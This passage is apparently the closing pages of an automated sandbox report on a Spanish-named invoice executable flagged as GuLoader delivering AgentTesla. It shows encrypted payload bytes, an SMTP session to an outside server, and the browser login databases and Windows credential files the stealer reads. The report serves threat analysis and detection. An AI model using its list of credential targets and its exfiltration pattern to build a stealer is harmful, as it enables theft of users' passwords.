2022-04-25 17:44:44 UTC 211 IN Data Raw: b5 a3 d9 1b 6c ea 95 f1 4b 1a 06 b2 ab 63 e2 1c 98 e1 e5 6b 99 e7 50 fd 6c fa 4e c6 95 c2 99 47 7b ed 3d 6b 37 17 4d b5 ba d4 26 5b 9b b8 41 80 da e3 dd 9f f6 c1 79 90 79 dc 9f a2 fc 09 1a 34 7d da 40 b3 9c 83 25 67 33 74 be 7d 37 62 59 09 b3 74 03 ca ef b7 17 90 99 1c 6e aa f3 f6 96 f9 74 b7 b2 0e a7 02 25 6f e9 75 14 35 78 a9 73 10 61 52 0a e3 d9 a2 33 b9 f4 e1 e3 33 13 76 c7 a3 30 97 d8 80 e4 3a 2e c4 39 75 6d 48 80 50 23 7d bd 42 e3 ee 10 81 02 cc 31 9d 83 15 5e 07 f1 45 52 c5 8c 3b b5 a1 c8 f0 41 16 de 4a 57 a7 1c 6d 4e 88 4d 9f 8f 10 93 d3 2e e0 b8 8a 7b f6 9e 9f 8f 90 6e 6c 17 02 5b 55 fb 81 bc 9d 1e 59 65 89 dd 6e 23 10 fb 5f c5 b6 05 8e 4a 90 07 d3 f3 bd 31 6d de e7 eb 6b c3 5c 90 af f2 cb 4c f9 e1 ab 4f 9b 04 f3 84 67 6e 31 b4 84 69 9e ec a2 00 Data Ascii: lKckPlNG{=k7M&[Ayy4}@%g3t}7bYtnt%ou5xsaR33v0:.9umHP#}B1^ER;AJWmNM.{nl[UYen#_J1mk\LOgn1i

2022-04-25 17:44:44 UTC 212 IN Data Raw: 0e bd ef 44 38 31 c2 fc 9f 6a 8d fb c0 1f a5 d5 58 0b 8d d0 f7 6b dd 07 42 72 3b 1f 24 58 29 6f 16 2c 29 a5 75 43 f2 95 31 03 cd 20 cd 96 6d 2c a1 e7 db 62 8d 37 4f df 4a 46 92 26 cf dd af 78 17 71 23 4b f6 80 c1 f3 20 37 9a 39 ed 43 fe 49 ed 4f 50 2d 96 a4 9e 52 d4 86 d5 e5 31 7c cc 17 00 96 6b 2c 6b 2c a4 09 8f 76 38 38 5c f2 db 87 fa f9 fe 65 79 38 ad 7a c8 e4 68 bf bb 7a 58 c8 3a 16 59 cd aa 23 3d d2 ef 2d 31 6e 80 9c 34 0c 6e e5 f9 bd 84 0d 97 ce 8b f8 d2 65 a5 e4 1f 03 40 42 d7 f1 d2 bc 52 26 ee d4 65 24 d9 6c ad 5b d2 1f ee 8e 16 58 21 a3 19 42 f1 10 bc c7 49 e0 3c bd 48 dd 1f 45 d8 b8 4b 47 9d d1 29 97 a0 b2 c8 f6 21 cd 8f 1b 83 f8 fa 02 5c ed 46 c5 cc 53 9b 6d 42 7e b2 be aa 05 a9 36 5d 3b 29 bb 84 a9 3b 8c c6 ad d3 39 ab 60 d8 e2 b3 61 be 3c 9d Data Ascii: D81jXkBr;$X)o,)uC1 m,b7OJF&xq#K 79CIOP-R1|k,k,v88\ey8zhzX:Y#=-1n4ne@BR&e$l[X!BI<HEKG)!\FSmB~6];);9`a<

2022-04-25 17:44:44 UTC 213 IN Data Raw: 86 f1 c5 1a 01 45 d8 3e fe de ef f9 53 3c 08 c0 09 68 37 f5 28 26 5d ba 1c f6 b8 90 3b 03 96 2c cb 9e 78 4b 58 71 ef 53 b3 82 5e bb fa c6 8e 5c 74 d6 24 59 cd 12 13 46 cb 4d e8 9d fc 4e ba 20 82 bf ad 73 9d 96 fa 8c fd 66 64 1f 22 5d 57 f9 8e a1 d4 10 33 62 e5 c5 13 3f 6e 78 59 d9 c5 1d e2 52 e1 0f a5 d3 d5 30 12 da 8f ea 1a db 58 90 8e f4 d3 48 a5 e0 bf 57 9e 04 bd 98 0d 7a 5f be ed 74 f2 f0 de 82 bb e2 3e d1 82 af 2f 07 df 46 c5 2e 13 6f 1b c7 00 f0 ae 6b 57 d9 22 09 79 cf bf 9b 0a 7b 9b 90 fc 4f 93 52 13 0e 0e 8a 79 0d 7c 85 12 81 c3 4d c2 cf 6b db 84 79 e4 03 37 7a 60 0b 20 c1 6d 35 64 21 1e 8b 7b bf 26 3b e8 9f e1 3b 40 6d 6f f1 bc e5 49 01 b1 a1 26 48 63 63 d2 17 e5 16 e7 cb 5e 9f e3 3d d8 a0 d0 75 9c ca 02 6f b9 7a 69 92 fd 0b 7e 3e 19 03 67 7d fb Data Ascii: E>S<h7(&];,xKXqS^\t$YFMN sfd"]W3b?nxYR0XHWz_t>/F.okW"y{ORy|Mky7z` m5d!{&;;@moI&Hcc^=uozi~>g}

2022-04-25 17:44:44 UTC 215 IN Data Raw: f9 6d ad 38 b7 50 c0 3d 15 44 c8 b8 a1 d0 da f6 2a 3d 73 85 81 31 11 6b f8 fc a0 81 10 92 d3 8e e5 d7 78 a0 f9 1a 0b 52 37 db f1 d6 a1 57 3b eb c9 60 39 dc 71 a8 49 d5 18 f3 8b 0b 5d 3c a6 04 47 e3 90 48 d5 ca 31 2e c8 46 dd 1a 58 dd a5 4e 5a 98 cc 2c 8a a5 af cd a3 26 eb 92 1e 9e fd e7 07 40 ff c6 21 d1 56 86 68 5e 6c 33 de b8 84 c9 24 dd d7 35 a7 98 b5 27 90 da bf a6 2b 2b 84 ca 63 c7 7d ac bc 71 8f 38 e8 f1 e9 97 86 39 e5 00 ce 0f 39 94 e8 7a de f7 00 a0 55 bc e1 31 3b 06 7c 95 bb 58 b7 38 1d 34 fb c9 10 69 f1 09 fc 54 2d cd 7f b0 e3 dd 6e 2b d2 a6 ad 99 fa c9 e8 32 3a 11 28 e1 50 e2 5d 12 5c d9 6d 5a d7 ab 8d 8a a5 1e ca 53 97 17 63 b2 48 af 5e 44 2f 58 83 0e 5f 69 0a c1 2e 4f f0 a7 1d a0 b1 59 c6 6d f8 14 f9 45 07 08 bc a5 6d ec 0e 19 e9 eb 65 8b 92 Data Ascii: m8P=D*=s1kxR7W;`9qI]<GH1.FXNZ,&@!Vh^l3$5'++c}q899zU1;|X84iT-n+2:(P]\mZScH^D/X_i.OYmEme

TimestampkBytestransferred

Direction Data

TimestampSourcePort

DestPort

Source IP Dest IP Commands

Apr 25, 2022 19:44:58.734477997 CEST 587 49756 185.51.191.23 192.168.11.20 220-thtwentythree.tarhely.eu ESMTP Exim 4.95 #2 Mon, 25 Apr 2022 19:44:57 +0200 220- We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.

Apr 25, 2022 19:44:58.734949112 CEST 49756 587 192.168.11.20 185.51.191.23 EHLO 226533

Apr 25, 2022 19:44:58.756020069 CEST 587 49756 185.51.191.23 192.168.11.20 250-thtwentythree.tarhely.eu Hello 226533 [102.129.143.41]250-SIZE 52428800250-8BITMIME250-PIPELINING250-PIPE_CONNECT250-AUTH PLAIN LOGIN250-STARTTLS250 HELP

Apr 25, 2022 19:44:58.756397009 CEST 49756 587 192.168.11.20 185.51.191.23 STARTTLS

SMTP Packets

Copyright Joe Security LLC 2022 Page 46 of 50

Apr 25, 2022 19:44:58.778209925 CEST 587 49756 185.51.191.23 192.168.11.20 220 TLS go ahead

TimestampSourcePort

DestPort

Source IP Dest IP Commands

• Liquidaci#Ufffdn por Factorizaci#Uf…

• CasPol.exe

• conhost.exe

Click to jump to process

Target ID: 1

Start time: 19:44:21

Start date: 25/04/2022

Path: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe"

Imagebase: 0x400000

File size: 194608 bytes

MD5 hash: 6B6BD25A3F0E2419EF5D628E66117E82

Has elevated privileges: true

Has administrator privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.10384703021.0000000003771000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Statistics

Behavior

System Behavior

Analysis Process: Liquidaci#U fdn por Factorizaci#U fdn de Cr#U fdditos.exe PID: 7072, Parent PID: 5432

General

File Activities

Registry Activities

Analysis Process: CasPol.exe PID: 400, Parent PID: 7072

Copyright Joe Security LLC 2022 Page 47 of 50

Target ID: 3

Start time: 19:44:34

Start date: 25/04/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe"

Imagebase: 0xa70000

File size: 108664 bytes

MD5 hash: 914F728C04D3EDDD5FBA59420E74E56B

Has elevated privileges: true

Has administrator privileges:

true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe SecurityRule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe SecurityRule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000000.10264792485.0000000000F00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 F0E25B InternetOpenUrlA

C:\Users\user\AppData\Local read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 F0E25B InternetOpenUrlA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache

read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 F0E25B InternetOpenUrlA

C:\Users\user read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 F0E25B InternetOpenUrlA

C:\Users\user\AppData\Local read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 F0E25B InternetOpenUrlA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies

read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 F0E25B InternetOpenUrlA

C:\Users\user read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 6DAB3263 unknown

C:\Users\user\AppData\Roaming read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 6DAB3263 unknown

General

File Activities

File Created

Copyright Joe Security LLC 2022 Page 48 of 50

C:\Users\user read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 6DAB3263 unknown

C:\Users\user\AppData\Roaming read data or list directory | synchronize

device directory file | synchronous io non alert | open for backup ident | open reparse point

object name collision 1 6DAB3263 unknown

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C949B71 WriteFile

\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C949B71 WriteFile

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6DAB099B unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6DA062DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DABD97A ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DABD97A ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DABD97A ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll.aux

unknown 620 success or wait 1 6DA062DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuration.ni.dll.aux

unknown 864 success or wait 1 6DA062DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\62fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll.aux

unknown 900 success or wait 1 6DA062DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\5a5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6DA062DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6C949B71 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 end of file 1 6C949B71 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DAB099B unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\ccd32e22ed1b362ccbd4b6fe2cda6d0b\System.Management.ni.dll.aux

unknown 764 success or wait 1 6DA062DE ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6C949B71 ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6C949B71 ReadFile

C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 end of file 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

unknown 45056 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 end of file 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD72B5E2187F75E8118A14612

unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3425316567-2969588382-3778222414-1001\d68ad142-df6c-4933-8be9-2dd2b7e3f5cd

unknown 4096 success or wait 2 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD72B5E2187F75E8118A14612

unknown 4096 success or wait 1 6C949B71 ReadFile

File Written

File Read

Copyright Joe Security LLC 2022 Page 49 of 50

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

unknown 11120 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

unknown 11120 success or wait 1 6C949B71 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DAB099B unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DAB099B unknown

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 49152 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 7 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 624 end of file 1 6C949B71 ReadFile

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 end of file 1 6C949B71 ReadFile

File Path Offset Length Completion Count Source Address Symbol

Target ID: 4

Start time: 19:44:34

Start date: 25/04/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff780810000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges:

true

Programmed in: C, C++ or other language

Reputation: moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Offset Length Completion Count Source Address Symbol

⊘ No disassembly

Analysis Process: conhost.exe PID: 408, Parent PID: 400

General

File Activities

Disassembly

Copyright Joe Security LLC 2022 Page 50 of 50